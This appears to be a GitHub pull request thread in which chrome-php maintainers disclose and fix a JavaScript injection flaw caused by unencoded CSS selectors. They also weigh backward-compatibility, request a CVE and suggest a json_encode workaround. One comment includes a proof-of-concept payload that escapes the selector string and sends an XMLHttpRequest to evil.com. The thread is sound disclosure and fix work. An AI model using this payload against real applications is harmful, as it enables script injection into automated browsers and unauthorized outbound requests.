[1.14] Security fix for missing encoding in CssSelector

[divinity76]

CSS Selector expressions are not properly encoded, for example input[type="password"]
is a perfectly valid CSS selector, and

$page->mouse()->find('input[type="password"]')

should have worked, but it generate a javascript syntax error at runtime:

document.querySelectorAll("input[type="password"]").length

resulting in

PHP Fatal error: Uncaught HeadlessChromium\Exception\ElementNotFoundException: The search for "document.querySelectorAll("input[type="password"]").length" returned no result. in /home/hans/projects/tryparrotai-unofficial-api/vendor/chrome-php/chrome/src/Input/Mouse.php:302 Stack trace:
#0 /home/hans/projects/tryparrotai-unofficial-api/vendor/chrome-php/chrome/src/Input/Mouse.php(269): HeadlessChromium\Input\Mouse->findElement()

This is the same issue as in #576

[divinity76]

interestingly,

chrome/tests/PageTest.php

Line 444 in b10c8c1

$page->waitUntilContainsElement('div[data-name=\"el\"]');

is failing.

The testcase itself is actually bugged,

div[data-name=\"el\"]

is a CSS selector to search for

<div data-name="&quot;el&quot;"></div>'

rather than

<div data-name="el"></div>

🤔 it is a bug in our CssSelector, but fixing it is likely to break code in the wild, just like it broke this testcase

ping @enricodias @GrahamCampbell suggestions?

[divinity76]

Definitely not a fan of keeping it as-is: if an attacker can influence the contents of

$page->mouse()->find($selector)

we're actually looking at a javascript injection vulnerability 🤔

[enricodias]

An optional argument with a flag to make it possible to choose when to escape the slashes, perhaps?

[divinity76]

An optional argument with a flag to make it possible to choose when to escape the slashes, perhaps?

that could work, but if we want to be injection-safe-by-default, we'd probably need the default to be not backwards compatible... otherwise we have an api that is injection-vulnerable by default, but can be made safe via a flag

Maybe we could just document the issue for the remainder of v1.x.x and fix it properly in v2.0.0?

[divinity76]

here is what the injection looks like btw:

$payload=<<<'PAYLOAD'
"+(function(){
xhr=new XMLHttpRequest();
xhr.open('GET','http://evil.com/evil.php',false);
xhr.send();
return "a";
})()+"
PAYLOAD;
$page->mouse()->find($payload)->click();

it successfully ping evil.com/evil.php

• and does not cause any crash, it does the same as $page->mouse()->find("a")->click();
  if there are no elements:

PHP Fatal error:  Uncaught HeadlessChromium\Exception\ElementNotFoundException: The search for
"document.querySelectorAll(""+(function(){
xhr=new XMLHttpRequest();
xhr.open('GET','http://127.0.0.1:9999/evil.php',false);
xhr.send();
return "a";
})()+"").length" returned no result. in /home/hans/projects/tryparrotai-unofficial-api/vendor/chrome-php/chrome/src/Input/Mouse.php:303

[enricodias]

Maybe we could add new methods with the proper escape and mark the old ones as deprecated? I don't know when we'll have a v2 and people usually take a very long time to move to a new major version.

[divinity76]

Yeah that would work.

in that case, what should the new methods be named? findEx() (WinAPI style)? find2()?

[divinity76]

An optional argument with a flag to make it possible to choose when to escape the slashes, perhaps?

maybe i'm warming up to the idea of being insecure-by-default,

we could do

function find(string $selector, int $pos = 1, bool $pre_encoded = true);

for the remainder of v1.x.x, triggering a E_DEPRECATED on true,
then in v2.0.0 change it to

function find(string $selector, int $pos = 1, false $pre_encoded = false);
// "false" is a legal argument type as of 8.2

pros:

• keeps BC
• keeps the find() api name
• ping devs about needing to update their selectors
• allows code to be both v1 and v2 compatible simultaneously by setting false
• devs who adopt the library in the future will never need to know or care about wtf pre_encoded ever meant or did, because it does nothing in v2. it only burdens v1 users.

cons:

• devs will have to copypaste 1, false everywhere for as long as they support v1, to avoid E_DEPRECATED.
• insecure-by-default for the remainder of v1 (mitigated by E_DEPRECATED)
• v2 will have a flag purely for compatibility with v1

[GrahamCampbell]

It is much simplier to just change this to do the encoding in a minor release, and call it a security fix. Security fixes are usually, by their nature, breaking.

[divinity76]

Yeah that's the simplest solution.

It is a semver violation, but it's also the path of least resistance. I'd be okay with it.

[divinity76]

Here is some Random code in the wild which actually seems vulnerable:
https://github.com/sohag1426/RuStudentFeedbackSystem/blob/5e8e7d9e483770b9253930d2a62f18610eff0666/app/Http/Controllers/ScreenShotController.php#L47

Line 47 (can't inline right now because Github mobil limitations)
Shows that code in the wild is actually using the api in a manner that allows javascript injection

[divinity76]

On the flip side, here is a snippet from the chrome-php README.md that would break without warning:

chrome/README.md

Line 792 in b10c8c1

$page->waitUntilContainsElement('div[data-name=\"el\"]');

(Line 792)
It would start searching for

<div data-name="&quot;el&quot;"></div>'

-i'd still be okay-ish with it tho.

[enricodias]

If Graham doesn't mind this breaking bc in a minor release for a security fix, I'm ok with it.

[GrahamCampbell]

It's common for projects who follow semver to make "breaking" changes in patch or minor releases in order to mitigate security issues. I've done it before in Guzzle to reject bad input for HTTP header names, where earlier versions accepted them. It's a somewhat similar situation to this. GHSA-wxmh-65f7-jcvw

[divinity76]

Well let's get this thing merged

[GrahamCampbell]

Let's target this at 1.14.0. I'm requesting a CVE from GitHub.

[divinity76]

Nice.
Btw on the security advisory workaround section, could add

if (\version_compare(\Composer\InstalledVersions::getVersion('chrome-php/chrome'), '1.14.0', '<')) {
    $selector = \json_encode($selector);
}
$page->mouse()->find($selector)

that's a decent way to work around it for people who "can't upgrade"